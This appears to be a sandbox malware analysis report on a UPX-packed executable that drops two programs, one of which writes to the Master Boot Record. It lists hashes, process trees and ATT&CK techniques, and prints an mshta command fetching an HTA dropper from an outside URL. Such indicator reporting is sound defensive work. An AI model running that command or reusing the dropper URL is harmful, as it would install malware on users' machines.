c84b93ea9418e569a419b29a12a34687767b9a5f970fee6b44bee1a535c10f12

General

Target

178e23ce61f1c87fb69a2d23ce241c03_JaffaCakes118.exe
Size

767KB
MD5

178e23ce61f1c87fb69a2d23ce241c03
SHA1

b87efed82f2472022388981cfdd295c330076adb
SHA256

c84b93ea9418e569a419b29a12a34687767b9a5f970fee6b44bee1a535c10f12
SHA512

faaea84772419c24c49a1d1f072e19ccecbf6b498de4227b1b649e9fc3109fd46c6bb26ac0aae0c1ab8b883a1664efe8d2c69b09a840af226647f6056bbc4186
SSDEEP

12288:TsC/xLjZPUyBiLCCKG3NTJUVtn5OmujtCXh/eBd7cmnRhQpYaKIPPzeNjtH0Q2Pq:Yuj2y+CC99NKtnekRmBhRh9aKIPLotUQ

Score

10^/10

bootkit persistence upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://repoiury.com/inst.php?id=lee_02&lang=ENU

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2040	jh.exe
2576	jh1.exe

Loads dropped DLL 4 IoCs

pid	Process
2264	178e23ce61f1c87fb69a2d23ce241c03_JaffaCakes118.exe
2264	178e23ce61f1c87fb69a2d23ce241c03_JaffaCakes118.exe
2264	178e23ce61f1c87fb69a2d23ce241c03_JaffaCakes118.exe
2264	178e23ce61f1c87fb69a2d23ce241c03_JaffaCakes118.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2264-1-0x0000000000400000-0x00000000004F1000-memory.dmp	upx
behavioral1/files/0x001e00000001469e-10.dat	upx
behavioral1/memory/2264-14-0x00000000026F0000-0x0000000002AF2000-memory.dmp	upx
behavioral1/memory/2264-16-0x00000000026F0000-0x0000000002AF2000-memory.dmp	upx
behavioral1/memory/2264-36-0x0000000000400000-0x00000000004F1000-memory.dmp	upx

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\physicaldrive0	jh1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2040	jh.exe
2040	jh.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2264 wrote to memory of 2040	2264	178e23ce61f1c87fb69a2d23ce241c03_JaffaCakes118.exe	28
PID 2264 wrote to memory of 2040	2264	178e23ce61f1c87fb69a2d23ce241c03_JaffaCakes118.exe	28
PID 2264 wrote to memory of 2040	2264	178e23ce61f1c87fb69a2d23ce241c03_JaffaCakes118.exe	28
PID 2264 wrote to memory of 2040	2264	178e23ce61f1c87fb69a2d23ce241c03_JaffaCakes118.exe	28
PID 2264 wrote to memory of 2576	2264	178e23ce61f1c87fb69a2d23ce241c03_JaffaCakes118.exe	29
PID 2264 wrote to memory of 2576	2264	178e23ce61f1c87fb69a2d23ce241c03_JaffaCakes118.exe	29
PID 2264 wrote to memory of 2576	2264	178e23ce61f1c87fb69a2d23ce241c03_JaffaCakes118.exe	29
PID 2264 wrote to memory of 2576	2264	178e23ce61f1c87fb69a2d23ce241c03_JaffaCakes118.exe	29

C:\Users\Admin\AppData\Local\Temp\178e23ce61f1c87fb69a2d23ce241c03_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\178e23ce61f1c87fb69a2d23ce241c03_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2264
- C:\Users\Admin\AppData\Local\Temp\jh.exe
  "C:\Users\Admin\AppData\Local\Temp\jh.exe" lee_02
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2040
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" http://repoiury.com/inst.php?id=lee_02&lang=ENU
    3⤵
    PID:2628
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Roaming\asdfasfas.bat" "
    3⤵
    PID:2560
- C:\Users\Admin\AppData\Local\Temp\jh1.exe
  "C:\Users\Admin\AppData\Local\Temp\jh1.exe"
  2⤵
  - Executes dropped EXE
  - Writes to the Master Boot Record (MBR)
  PID:2576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Pre-OS Boot

1

T1542

Bootkit

1

T1542.003

Privilege Escalation

Defense Evasion

Pre-OS Boot

1

T1542

Bootkit

1

T1542.003

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\jh1.exe

Filesize
149KB

MD5
6ba6b1580ea3f493ad3d9d915b001909

SHA1
e3abca7ed8450fdf82013958f3db5f2ab541c2b2

SHA256
1fed7b0afe8fc340102514011d6f6605dbe281c190740e2360ab73a1617e2800

SHA512
613e739975dfff40f8cd73a163129b7447c09575b44b63ccf9217367726fd13c5626ad7346554b57b0221f5665a2bd326bc9bef9a4475c2b5eeb636bcf101e4c

Download Submit
C:\Users\Admin\AppData\Roaming\asdfasfas.bat

Filesize
122B

MD5
fddfbd9d59143c6855c0e386b4af0446

SHA1
a60145bf547b703ec4cf078fd955fc690272eb00

SHA256
214aca25c648fad0c7f0b799343f07fb24ba4c7df95a0bd0cac13db70e1ea2d0

SHA512
a8f6dd937fb6c126994186e2e66a0c5dd8ef796ded55153f5f32bffe93f2743f55db9bb96288ab46201db1339e9b9b3c09d5c41da57ad3b668132cca7aac1003

Download Submit
\Users\Admin\AppData\Local\Temp\jh.exe

Filesize
467KB

MD5
c0c286f3d4b4eb46504ae767e371187f

SHA1
715e75e7a596d5a88eac7bb47a9b2fdd88653aea

SHA256
3264c96f8f77cdf612671e1899898e59bcff46d975f6fa77cc6802183dc7c065

SHA512
f999fc28d65edbb074ba1a611543ba9a01f55677b94af037d92ebd0cde42c5077c83b907eb22b4b80dae90c56cf63448548c46ed39732377e66c01327ac0359d

Download Submit
memory/2040-20-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/2040-42-0x0000000003DB0000-0x0000000003DC0000-memory.dmp

Filesize
64KB

Download
memory/2264-1-0x0000000000400000-0x00000000004F1000-memory.dmp

Filesize
964KB

Download
memory/2264-14-0x00000000026F0000-0x0000000002AF2000-memory.dmp

Filesize
4.0MB

Download
memory/2264-16-0x00000000026F0000-0x0000000002AF2000-memory.dmp

Filesize
4.0MB

Download
memory/2264-36-0x0000000000400000-0x00000000004F1000-memory.dmp

Filesize
964KB

Download
memory/2576-39-0x0000000000430000-0x0000000000451000-memory.dmp

Filesize
132KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads